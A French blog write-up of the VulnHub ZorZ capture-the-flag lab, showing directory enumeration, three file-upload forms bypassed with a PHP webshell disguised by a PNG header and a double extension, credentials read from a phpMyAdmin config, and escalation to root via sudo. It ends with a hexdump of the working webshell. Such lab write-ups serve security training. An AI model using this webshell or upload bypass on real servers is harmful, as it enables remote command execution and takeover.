Accueil Solution du CTF ZorZ de VulnHub
Post
Annuler

Solution du CTF ZorZ de VulnHub

TopHatSec: ZorZ fait partie de la même série que le CTF Freshly. On va potentiellement rester sur notre faim aussi car il semble qu’il n’y ait rien prévu pour l’escalade de privilèges… mais sait-on jamais.

This machine will probably test your web app skills once again.

There are 3 different pages that should be focused on (you will see!) If you solve one or all three pages, please send me an email and quick write up on how you solved each challenge.

Your goal is to successfully upload a webshell or malicious file to the server.

If you can execute system commands on this box, thats good enough!!! I hope you have fun!

On a une page d’index avec un formulaire d’upload. Je lance tout de même feroxbuster qui me trouve d’autres ressources :

1
2
3
4
5
6
7
8
9
10
301        9l       28w      318c http://192.168.56.90/javascript
301        9l       28w      318c http://192.168.56.90/phpmyadmin
403       10l       30w      293c http://192.168.56.90/server-status
200       15l       31w      367c http://192.168.56.90/
301        9l       28w      314c http://192.168.56.90/jQuery
301        9l       28w      316c http://192.168.56.90/uploads2
301        9l       28w      316c http://192.168.56.90/uploads3
200       15l       31w      367c http://192.168.56.90/index.html
200       16l       38w      457c http://192.168.56.90/index2.html
200        4l       10w       76c http://192.168.56.90/uploader.php

Manuellement et par logique je trouve aussi le dossier uploads1 à la racine.

J’utilise généralement un shell PHP qui contient juste un entête PNG avec ensuite un appel à system(). Ce n’est pas une image valide mais le fichier peut passer quelques filtres.

Quoi qu’il en soit ici ça passe comme dans du beurre :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
File is valid, and was successfully uploaded.

Here is some more debugging info:Array
(
    [upfile] => Array
        (
            [name] => shell.php
            [type] => application/x-php
            [tmp_name] => /tmp/phpeKXzw6
            [error] => 0
            [size] => 71
        )

)

Je retrouve mon shell dans le dossier uploads1 et je peux par exemple faire exécuter la commande id :

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Le second formulaire d’upload semble plus restrictif :

Success! image/png.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

Je renomme seulement mon fichier en shell.php.png et là ça passe :

Success! image/png.The file shell.php.png has been uploaded.

Il apprait dans uploads2 et est bien interprété.

Le dernier formulaire d’upload est moins basique et se base sur jQuery. Quand on sélectionne le fichier ce dernier apparait d’abord en preview avec le protocole data:// et il faut reclicker sur upload pour terminer.

Mon shell précédent s’upload sans difficultés bien qu’il rale un peu sur les dimensions de l’image.

Il est temps d’explorer le système.

LinPEAS me trouve un fichier de configuration /etc/phpmyadmin/config-db.php qui contient des identifiants :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
## Tue, 17 Feb 2015 20:54:38 -0500
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded.  *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='toor2600root';
$basepath='';
$dbname='phpmyadmin';
$dbserver='';
$dbport='';
$dbtype='mysql';

Le mot de passe fonctionne pour l’utilisateur user qui est admin car a toutes les autorisations sudo :

1
2
3
4
5
6
7
8
9
10
11
12
www-data@zorz:/tmp$ su user
Password: 
user@zorz:/tmp$ sudo -l
[sudo] password for user: 
Matching Defaults entries for user on zorz:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user may run the following commands on zorz:
    (ALL : ALL) ALL
user@zorz:/tmp$ sudo su
root@zorz:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Pour les curieux voici un hexdump de mon shell PHP :

1
2
3
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 3c 3f 70 68 70 0a 73  79 73 74 65 6d 28 24 5f  |.<?php.system($_|
00000020  47 45 54 5b 22 63 6d 64  22 5d 29 3b 0a 3f 3e 0a  |GET["cmd"]);.?>.|

Publié le 2 janvier 2023

Cet article est sous licence CC BY 4.0 par l'auteur.